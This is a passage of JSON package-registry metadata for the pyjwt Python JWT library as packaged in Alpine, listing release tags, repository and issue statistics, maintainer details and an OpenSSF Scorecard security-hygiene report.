4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:33.636Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":21.460348162475825,"stargazers_count":2.001934235976789,"forks_count":2.0502901353965184,"average":6.378143133462283},"purl":"pkg:apk/alpine/py2-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.10","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py2-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py2-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py2-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py2-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py2-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py2-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py2-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py2-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py2-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.10","url":"https://pkgs.alpinelinux.org/packages?branch=v3.10","ecosystem":"alpine","default":false,"packages_count":10340,"maintainers_count":177,"namespaces_count":2,"keywords_count":925,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":396},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.780Z","updated_at":"2026-06-10T05:17:28.781Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/namespaces"}},{"id":6079225,"name":"py-jwt","ecosystem":"alpine","description":"Python JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2018-11-26T16:32:34.000Z","latest_release_published_at":"2018-11-26T16:32:34.000Z","latest_release_number":"1.6.4-r0","last_synced_at":"2026-03-06T08:17:28.030Z","created_at":"2023-01-31T19:51:42.284Z","updated_at":"2026-05-29T04:00:33.800Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.9/main/x86_64/py-jwt","install_command":"apk add py-jwt","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosys